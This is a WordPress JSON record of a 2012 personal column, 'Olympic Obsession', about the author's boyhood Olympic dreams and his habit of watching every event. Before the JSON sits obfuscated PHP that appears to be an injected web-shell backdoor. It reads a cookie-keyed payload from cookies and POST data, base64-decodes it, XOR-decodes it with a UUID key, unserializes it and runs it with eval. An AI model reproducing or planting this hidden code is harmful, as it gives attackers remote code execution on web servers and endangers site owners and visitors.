$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1888,"date":"2012-07-24T13:05:14","date_gmt":"2012-07-24T18:05:14","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1888"},"modified":"2012-07-24T13:05:14","modified_gmt":"2012-07-24T18:05:14","slug":"olympic-obsession","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1888","title":{"rendered":"Olympic Obsession"},"content":{"rendered":"<p>I think my obsession started with the \u201cGuinness Book of World Records.\u201d We always had one lying around the house when I was a kid so you could check the distance of the longest grape toss which someone caught in their mouth.<\/p>\n<p>The book also had lists of Olympic medalists in every sport. I used to study those lists and dream of my own Olympic glory. That\u2019s how I ended up writing a sixth-grade essay about how I would defeat Roman Dmitriev, the Russian lightweight wrestler, to win my first gold medal in 1984.<\/p>\n<p>Instead, I ended up in the seats at those Olympics watching with my two brothers. Dmitriev didn\u2019t make it either because of the Soviet boycott, so I guess he gets half the blame for me not having my Olympic moment at 16. He had also retired at that point, but that\u2019s extraneous to my fantasies.<\/p>\n<p>I bring all this up because the 2012 Summer Olympics start this weekend. That means I feel a little distracted pretty much all the time. I don\u2019t just get obsessed with who will win the wrestling competition. I get into pretty much everything.<\/p>\n<p><!--more-->Back in 1992 when NBC unveiled the much-maligned Triple Cast pay-per-view concept \u2013 they showed live footage on three channels for those crazy enough to pay \u2013 I might have been one of the first people to sign up.<\/p>\n<p>We\u2019re starting to get all the things that geek me out about the Olympics for free, mostly online. I don\u2019t regret paying $100 bucks or so to watch wrestling preliminaries in the early morning back then, but am glad that I can get them much easier these days.<\/p>\n<p>While I totally understand the great emotion associated with the Olympics, I try to avoid the schmaltzy coverage as much as I can. I\u2019m a sucker for most of the stories, but I don\u2019t need them once the actual competition starts.<\/p>\n<p>I understand why the networks put together those kinds of packages though. The audience for the \u201cUp Close and Personal\u201d approach far outnumbers the people who will watch rowing heats without any real interest in rowing (that\u2019s me).<\/p>\n<p>That\u2019s why I don\u2019t get the furor over trying to keep results quiet before the prime-time broadcast. First of all, it\u2019s pretty much impossible in this day and age. Secondly, if the majority of the viewers really based their interest solely on who won and who lost, they would have been clamoring for something like the Triple cast a long time ago instead of ignoring it and making the package a huge failure.<\/p>\n<p>We all can enjoy the Olympics however we want. If you only want to see the highlights, enjoy the nightly coverage with the stories. If you want to sneak a peek at as many preliminary competitions as possible as they happen, you know how I feel.<\/p>\n<p>That just means I have to figure out a way to fit my job, my family and the Olympics into the next few weeks. I really hope those first two understand my dilemma.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I think my obsession started with the \u201cGuinness Book of World Records.\u201d We always had one lying around the house when I was a kid so you could check the distance of the longest grape toss which someone caught in&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,86,13,7],"tags":[],"class_list":["post-1888","post","type-post","status-publish","format-standard","hentry","category-columns","category-olympics","category-sports","category-tv","wpcat-3-id","wpcat-86-id","wpcat-13-id","wpcat-7-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1888","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1888"}],"version-history":[{"count":1,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1888\/revisions"}],"predecessor-version":[{"id":1889,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1888\/revisions\/1889"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1888"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1888"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1888"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}